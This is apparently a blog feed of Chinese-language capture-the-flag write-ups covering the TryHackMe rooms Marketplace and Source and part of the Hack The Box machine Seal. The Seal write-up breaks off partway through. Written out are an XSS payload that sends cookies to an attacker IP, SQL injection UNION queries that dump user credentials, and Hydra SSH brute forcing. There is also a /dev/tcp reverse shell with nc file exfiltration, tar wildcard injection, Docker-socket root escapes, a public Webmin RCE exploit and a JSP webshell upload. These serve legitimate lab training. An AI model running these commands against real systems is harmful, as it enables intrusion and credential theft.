&lt;li&gt;發現下面說不能PO檔案，感覺有埋梗&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/f2a23-NBrphH9.png"&gt;用 F12 把 disable 拔掉再測- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/46638-5IWEXkh.png"&gt;觀察 &lt;code&gt;robots.txt&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ad2b3-qs3uPFx.png"&gt;觀察 Session- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3b778-6aKjy8x.png"&gt;&lt;/li&gt;
&lt;li&gt;看起來很 Base64&lt;code&gt;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjQsInVzZXJuYW1lIjoibWVvdyIsImFkbWluIjpmYWxzZSwiaWF0IjoxNjI5MDk5NDQwfQ.6MNSd_Wf1ytqceTjhWWGEbB4AhzTHFshHCLIeVF_Zeo&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;解碼後看起來是 JWT&lt;code&gt;{&amp;quot;alg&amp;quot;:&amp;quot;HS256&amp;quot;,&amp;quot;typ&amp;quot;:&amp;quot;JWT&amp;quot;}{&amp;quot;userId&amp;quot;:4,&amp;quot;username&amp;quot;:&amp;quot;meow&amp;quot;,&amp;quot;admin&amp;quot;:false,&amp;quot;iat&amp;quot;:1629099440}5'YrN8VXa!1Ų,^&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="xss"&gt;XSS&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;發現 Po 文處可以 XSS&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/76313-LVtMQ7d.png"&gt;寫 Payload 偷餅乾- &lt;code&gt;new Image().src=&amp;quot;http://10.13.21.55:1234/&amp;quot;+document.cookie&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1d4a7-h6njKX1.png"&gt;回報給管理員- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/518a8-qrvN6r7.png"&gt;用 &lt;code&gt;nc -l 1234&lt;/code&gt; 來接- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e351b-mJaHJvK.png"&gt;&lt;/li&gt;
&lt;li&gt;收到管理員的餅乾&lt;code&gt;GET /token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE2MjkxMDAxOTN9.f-eVVqF1AnFJEeuam97hn-Xz3fFNbQAJYTKrsDukzrU HTTP/1.1&lt;/code&gt;使用管理員帳號登入- 把自己的餅乾換成管理員的&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/93d77-ISy8k0G.png"&gt;首頁- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8a937-1XSphjU.png"&gt;取得 Flag1- &lt;code&gt;THM{c37a63895910e478f28669b048c348d5}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="sqli"&gt;SQLi&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;發現看使用者這邊可以用 SQL injection&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e598b-17Bjunz.png"&gt;點進去之後，透過 F12 複製成 curl 再轉 python 的 request- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9091a-Z9wlSre.png"&gt;&lt;/li&gt;
&lt;li&gt;測了一陣子發現空白要用 &lt;code&gt;/**/&lt;/code&gt; 來繞&lt;code&gt;&amp;quot;-1/**/UNION/**/SELECT/**/1,2,3,4/**/--&amp;quot;)&lt;/code&gt;爆 db- &lt;code&gt;p = &amp;quot;-1 UNION SELECT 1,group_concat(schema_name),3,4 FROM information_schema.schemata --&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/22f05-bSvyH76.png"&gt;&lt;/li&gt;
&lt;li&gt;兩個 DB&lt;code&gt;information_schema&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;marketplace&lt;/code&gt;先關注這個爆 table- &lt;code&gt;p = &amp;quot;-1 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables where table_schema='marketplace' --&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/37dcc-L8MCiSc.png"&gt;&lt;/li&gt;
&lt;li&gt;發現有三張 table&lt;code&gt;items&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;messages&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;users&lt;/code&gt;爆 column- &lt;code&gt;p = &amp;quot;-1 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns where table_schema='marketplace' --&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/f11f3-A3Y7nW8.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;id,author,title,description,image,id,user_from,user_to,message_content,is_read,id,username,password,isAdministrator&lt;/code&gt;應該需要觀察的是 &lt;code&gt;username&lt;/code&gt; 跟 &lt;code&gt;password&lt;/code&gt;選帳號- &lt;code&gt;p = &amp;quot;-1 UNION SELECT 1,group_concat(username),3,4 FROM marketplace.users --&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;jake,meow,michael,system&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b10f0-b6XfCbO.png"&gt;選密碼- &lt;code&gt;p = &amp;quot;-1 UNION SELECT 1,group_concat(password),3,4 FROM marketplace.users --&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/600dc-WfBQ3kh.png"&gt;&lt;/li&gt;
&lt;li&gt;看起來有過 hash&lt;/li&gt;
&lt;li&gt;把他大致整理一下&lt;code&gt;$2b$10$83pRYaR/d4ZWJVEex.lxu.Xs1a/TNDBWIUmB4z.R0DT0MSGIGzsgW, $2b$10$yaYKN53QQ6ZvPzHGAlmqiOwGt8DXLAO5u2844yUlvu2EXwQDGf/1q $2b$10$/DkSlJB4L85SCNhS.IxcfeNpEBn.VkyLvQ2Tk9p2SDsiVcCRb4ukG $2b$10$FStzuEGFk9JpOnigl2gbEuE2rRp27psGUS0UuztTtxbZPFW/Wtn4m&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;查詢發現是 bcrypthttps://bcrypt-generator.com/&lt;/li&gt;
&lt;li&gt;而且可以測試其中一個是我自己註冊的 &lt;code&gt;meow&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4a2dd-jhHGnDb.png"&gt;爆密碼- &lt;code&gt;john password_hash.txt --wordlist=/opt/rockyou.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;hashcat -m 3200 password_hash.txt rockyou.txt&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a60f4-y5YqjAf.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/bf003-ywGcdes.png"&gt;中研院超級電腦的兩張 V100 吃滿要跑 3 小時，不太合理繼續 SQLi- &lt;code&gt;p = &amp;quot;-1 UNION SELECT 1,group_concat(message_content),3,4 FROM marketplace.messages --&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;噴出以下內容&lt;code&gt;User Hello! An automated system has detected your SSH password is too weak and needs to be changed. You have been generated a new temporary password. Your new password is: @b_ENXkGYUCAv3zJ,&amp;amp;lt;script&amp;amp;gt;alert(1)&amp;amp;lt;/script&amp;amp;gt;,Thank you for your report. One of our admins will evaluate whether the listing you reported breaks our guidelines and will get back to you via private message. Thanks for using The Marketplace!,Thank you for your report. We have been unable to review the listing at this time. Something may be blocking our ability to view it, such as alert boxes, which are blocked in our employee&amp;amp;#39;s browsers.,Thank you for your report. One of our admins will evaluate whether the listing you reported breaks our guidelines and will get back to you via private message. Thanks for using The Marketplace!,Thank you for your report. We have been unable to review the listing at this time. Something may be blocking our ability to view it, such as alert boxes, which are blocked in our employee&amp;amp;#39;s browsers.,Thank you for your repor&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;看到一段看起來很像密碼的東西&lt;code&gt;@b_ENXkGYUCAv3zJ&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ssh"&gt;SSH&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;我們有 3 個 user&lt;code&gt;jake&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;michael&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;system&lt;/code&gt;雖然可以徒手戳一下就好，但我今天想用 Hydra- &lt;code&gt;hydra -L user.txt -P password.txt ssh://10.10.74.8&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2d616-0vy8paN.png"&gt;噴出的結果是 jake&lt;code&gt;jake&lt;/code&gt; : &lt;code&gt;@b_ENXkGYUCAv3zJ&lt;/code&gt;SSH 登入成功- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e0bc0-pPnT6TI.png"&gt;&lt;/li&gt;
&lt;li&gt;取得 user keyTHM{c3648ee7af1369676e3e4b15da6dc0b4}&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權"&gt;提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;起手式先 &lt;code&gt;sudo -l&lt;/code&gt; 一波&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6eddb-kPbupbL.png"&gt;&lt;/li&gt;
&lt;li&gt;看起來是很老梗的 sudo 備份 ㄇ如果是的話我們只要戳個 Reverse shell&lt;code&gt;echo &amp;quot;bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/10.13.21.55/7877 0&amp;gt;&amp;amp;1'&amp;quot; &amp;gt;&amp;gt; /opt/backups/backup.sh&lt;/code&gt;就可以打完收工ㄌ但前題是我們需要有權限修改這個 sh- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/aa31a-r7W7QKx.png"&gt;看樣子不行QQ，我們不是賣口 QQ準備 Linpeas- &lt;code&gt;wget 10.13.21.55:8000/linpeas.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;發現 sudo version 1.8.21p2https://www.exploit-db.com/exploits/47502&lt;/li&gt;
&lt;li&gt;但看起來不好用發現一包 backup 檔案- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d2e5d-b7pkxQY.png"&gt;&lt;/li&gt;
&lt;li&gt;用 nc 傳出來&lt;code&gt;nc -l 1234 &amp;gt; backup.tar&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cat backup.tar &amp;gt; /dev/tcp/10.13.21.55/1234&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;發現裡面都空ㄉㄍ騙我&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4cabc-ujraWYL.png"&gt;回想起 &lt;code&gt;backup.sh&lt;/code&gt; 他後面接了一個 &lt;code&gt;*&lt;/code&gt;- 這個時候可以套用 &lt;code&gt;tar-wildcard-injection&lt;/code&gt;ref : &lt;a href="https://mqt.gitbook.io/oscp-notes/tar-wildcard-injection"&gt;https://mqt.gitbook.io/oscp-notes/tar-wildcard-injection&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;簡單來說 tar 會把後面的 * 的東西直接串起來當指令執行&lt;code&gt;echo a &amp;gt; '--checkpoint=1'``echo a &amp;gt; '--checkpoint-action=exec=sh script.sh'&lt;/code&gt;echo whoami &amp;gt; script.sh&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/413ac-iJOCoN4.png"&gt;用 賣口權限執行- &lt;code&gt;sudo -u michael /opt/backups/backup.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;發現可以成功!!!&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4085e-bdQQ18p.png"&gt;切換到賣口- &lt;code&gt;echo bash &amp;gt; script.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c813b-iVUL3es.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="二次提權"&gt;二次提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;再一次 Linpeas&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/78350-f2G9B5Q.png"&gt;發現 &lt;code&gt;/var/run/docker.sock&lt;/code&gt; 可以寫入- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/f338d-efcmkQI.png"&gt;&lt;/li&gt;
&lt;li&gt;直接給我們 Exploit 教學ㄌ，好棒https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket觀察目前有使用的 docker image- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e22f2-iEs6uIO.png"&gt;修改一下 image 的名字，使用 hacktricks 上面的 exploit 教學- &lt;code&gt;docker -H unix:///var/run/docker.sock run -v /:/host -it nginx chroot /host /bin/bash&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;docker -H unix:///var/run/docker.sock run -it --privileged --pid=host nginx nsenter -t 1 -m -u -n -i sh&lt;/code&gt;創建 privileged 康天呢提權成功- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/db827-SNmNk2S.png"&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Source (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/08/16/source-try-hack-me-writeup/</link><pubDate>Mon, 16 Aug 2021 13:21:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/16/source-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://tryhackme.com/room/source"&gt;https://tryhackme.com/room/source&lt;/a&gt;&lt;br&gt;
IP : 10.10.63.154&lt;/p&gt;
&lt;h2 id="scan"&gt;Scan&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;掃 Port&lt;code&gt;rustscan -a 10.10.63.154 -r 1-65535&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7dd97-I6kP0We.png"&gt;&lt;/li&gt;
&lt;li&gt;22&lt;/li&gt;
&lt;li&gt;10000&lt;code&gt;nmap -A -p22,10000 10.10.63.154&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/85a9c-XF4bSvw.png"&gt;&lt;/li&gt;
&lt;li&gt;發現 10000 是 &lt;code&gt;MiniServ 1.890&lt;/code&gt;直接連上去- http://10.10.63.154:10000/&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ea2f1-cd1cvG2.png"&gt;發現它有綁 SSL 要用指定網址才能進&lt;code&gt;10.10.63.154 ip-10-10-63-154.eu-west-1.compute.internal&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;綁上 &lt;code&gt;/etc/hosts&lt;/code&gt;再次訪問- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/f0aea-yyal9X9.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="exploit"&gt;Exploit&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;透過版本可以查詢到 &lt;code&gt;MiniServ 1.890&lt;/code&gt; Exploithttps://github.com/foxsin34/WebMin-1.890-Exploit-unauthorized-RCE/blob/master/webmin-1.890_exploit.py&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wget https://raw.githubusercontent.com/foxsin34/WebMin-1.890-Exploit-unauthorized-RCE/master/webmin-1.890_exploit.py&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;python3 webmin-1.890_exploit.py&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/bda70-MJV55av.png"&gt;&lt;/li&gt;
&lt;li&gt;ㄟ就直接拿到 root 了ㄟ&lt;/li&gt;
&lt;li&gt;太無聊ㄌㄅ = =懶得戳 Reverse shell ㄌ- 直接用這個類似 Webshell 的東西 早點打完收工ㄅ&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a3051-DBSTDZg.png"&gt;&lt;/li&gt;
&lt;li&gt;Root Flag&lt;code&gt;THM{UPDATE_YOUR_INSTALL}&lt;/code&gt;取 User Flag- 先看 home 使用者名稱&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a55c7-Cq4YNie.png"&gt;看使用者資料夾- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/54905-RRdc2bA.png"&gt;取得 Flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/62d0d-E7Dcn37.png"&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Seal (Hack The Box Writeup)</title><link>http://blog.stevenyu.tw/2021/08/15/seal-hack-the-box-writeup/</link><pubDate>Sun, 15 Aug 2021 14:05:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/15/seal-hack-the-box-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL: &lt;a href="https://app.hackthebox.eu/machines/Seal"&gt;https://app.hackthebox.eu/machines/Seal&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP : 10.10.10.250&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;凡事都先從 掃 Port 開始&lt;code&gt;rustscan -a 10.10.10.250 -r 1-65535&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3657e-ttUAJY6.png"&gt;找到 22 443 8080&lt;code&gt;nmap -A -p22,443,8080 10.10.10.250&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/36f55-xbNLfKt.png"&gt;&lt;/li&gt;
&lt;li&gt;443 : nginx 1.18觀察 443 的 HTTPS 憑證- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/890dd-GlMUdim.png"&gt;&lt;/li&gt;
&lt;li&gt;網址應該是 &lt;code&gt;seal.htb&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;加到 &lt;code&gt;/etc/hosts``10.10.10.250 seal.htb&lt;/code&gt;觀察首頁- 443 port&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2b74e-oeQnmMF.png"&gt;8080 port- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/677da-Fj9z7gv.png"&gt;&lt;/li&gt;
&lt;li&gt;看起來是一個 Bit Bucket掃目錄- &lt;code&gt;python3 dirsearch.py -u https://seal.htb/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/21552-r7YSzQz.png"&gt;&lt;/li&gt;
&lt;li&gt;發現有一些頁面 302 按進去又 404&lt;/li&gt;
&lt;li&gt;而且首頁 nmap 明明就說是 nginx 這邊下面錯誤訊息卻跳 Tomcat&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/32dfa-ZBJdb3i.png"&gt;apache tomcat 9.0.31 ??&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c5274-8P1DPrw.png"&gt;- nginx 1.18.0觀察 Bitbucket- 發現可以註冊帳號&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/541fe-HcxyFnc.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;meow&lt;/code&gt; / &lt;code&gt;meow&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8d8c8-0Ny7NM5.png"&gt;成功登入- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/54424-Sw6zuao.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="hack-tomcat"&gt;Hack Tomcat&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;可以發現原始碼與 Config 檔案都放在這邊&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ef798-QH4iA2I.png"&gt;&lt;/li&gt;
&lt;li&gt;在 commit log 中可以找到 tomcat 帳密&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8f02e-TKVUn3Y.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tomcat&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;42MrHBf*z8{Z%&lt;/code&gt;嘗試進入 Tomcat 後台，卻發現 403- &lt;a href="https://seal.htb/admin/dashboard"&gt;https://seal.htb/admin/dashboard&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5099b-mPoScme.png"&gt;但發現 Tomcat 的 Status 可以用- &lt;a href="https://seal.htb/manager/status/all"&gt;https://seal.htb/manager/status/all&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/edb35-30ZnOf8.png"&gt;繼續翻 nginx 的 config- 發現他針對 nginx 有設定一個 ssl_client_verify&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ddf55-O4sB5Vl.png"&gt;這邊可以用 Orange 曾經介紹過的&lt;a href="https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf"&gt;手法&lt;/a&gt;- 第 48 頁也就是網址透過 &lt;code&gt;..;&lt;/code&gt; 截斷- &lt;a href="https://seal.htb/manager/status/..;/html"&gt;https://seal.htb/manager/status/..;/html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;就成功進入湯姆貓後台ㄌ!!&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/59661-GbIHIvS.png"&gt;Tomcat 的後臺如果可以進入的話，代表可以上傳 jsp 的 webshell- 這邊我採用這個https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/jsp/cmd.jsp&lt;code&gt;wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp``jar -cvf cmd.war cmd.jsp&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/964ae-5gC826l.png"&gt;然後在這邊上傳- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3b415-4D4t6pZ.png"&gt;上傳時仍然要注意 Bypass Path 的問題- Post 的路徑要是 &lt;code&gt;POST /manager/status/..;/html/upload&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;這邊我用 Burp 來處理&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c079a-Pdn4u3g.png"&gt;Web Shell 上傳成功- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a324f-LtoHrRk.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://seal.htb/cmd/cmd.jsp"&gt;https://seal.htb/cmd/cmd.jsp&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7ecc8-vZnET4C.png"&gt;&lt;/li&gt;
&lt;li&gt;也可以亂輸入指令ㄌ&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/630d1-ZcRfen5.png"&gt;接下來準備 Reverse shell- &lt;code&gt;wget 10.10.16.5:8000/s_HTB -O /tmp/s&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b0b6e-gXfTCmV.png"&gt;&lt;/li&gt;
&lt;li&gt;確定真的有載到準備 &lt;code&gt;nc -vlk 7877&lt;/code&gt; 來接&lt;code&gt;bash /tmp/s&lt;/code&gt;- 成功收到!!&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1fbda-Oxmqxcm.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權"&gt;提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;發現 user flag 沒有權限&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7c689-Jnpbv62.png"&gt;發現 &lt;code&gt;/var/www/keys&lt;/code&gt; 裡面有一些 key- 不管，先打包回家慢慢看&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3aded-GGWkL27.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tar cvf /tmp/keys.tar .&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d68d2-HIabUln.png"&gt;&lt;/li&gt;
&lt;li&gt;用 nc 把檔案送回家&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/74bfd-WQ9UlhD.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/93dea-pB0KZjz.png"&gt;發現自簽憑證在裡面!- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2cef9-iqZ3nNG.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/var/www/keys/selfsigned-ca.crt;&lt;/code&gt;那理論上我們可以用我們的瀏覽器綁自簽憑證ㄇ- 依照這邊的方法https://www.jscape.com/blog/firefox-client-certificate&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2ae84-CsWztGO.png"&gt;QAQ 看起來是不行嘗試 Linpeas- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9e455-QZI5bMG.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/984c8-dLIe0kD.png"&gt;找到一個很新的備份檔案- &lt;code&gt;/opt/backups/archives/backup-2021-08-14-09:44:35.gz&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4ca43-lvDjHlj.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/97211-0drtpc6.png"&gt;觀察備份檔路徑，發現會備份- &lt;code&gt;/var/lib/tomcat9/webapps/ROOT/admin/dashboard&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/395f5-wxhkvBb.png"&gt;&lt;/li&gt;
&lt;li&gt;是使用 &lt;code&gt;ansiple-playbook&lt;/code&gt; 進行備份的可以用 ps 觀察到&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3fa63-s9qxK5n.png"&gt;&lt;/li&gt;
&lt;li&gt;他是用 &lt;code&gt;luis&lt;/code&gt; 的權限執行的這邊可以先注意一下 &lt;code&gt;copy link = yes&lt;/code&gt;- 等一下會運用到觀察 &lt;code&gt;ansible-playbook&lt;/code&gt;- &lt;code&gt;/usr/bin/ansible-playbook&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;到 &lt;code&gt;/usr/bin``ls -al | grep ansible-playbook&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ls -al | grep ansible&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/84020-GhQOmhL.png"&gt;&lt;/li&gt;
&lt;li&gt;發現他會 link 到一個Python 檔案&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/33cf0-XDs8mQg.png"&gt;裡面滿複雜的，應該不會要去 Exploit 他ㄅQQ- 而且相關目錄我們也都沒有權限開始通靈- 發現使用者的家目錄有一個 &lt;code&gt;.ssh&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a0369-5Ke4grH.png"&gt;&lt;/li&gt;
&lt;li&gt;猜他裡面可能有 &lt;code&gt;id_rsa&lt;/code&gt; 可以偷&lt;/li&gt;
&lt;li&gt;而 ansible-playbook 又可以備份 Link&lt;/li&gt;
&lt;li&gt;所以我們可以把檔案 soft link 到備份的地方發現備份的目錄的 &lt;code&gt;uploads&lt;/code&gt; 可寫- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8c5e0-SE6ybm4.png"&gt;&lt;/li&gt;
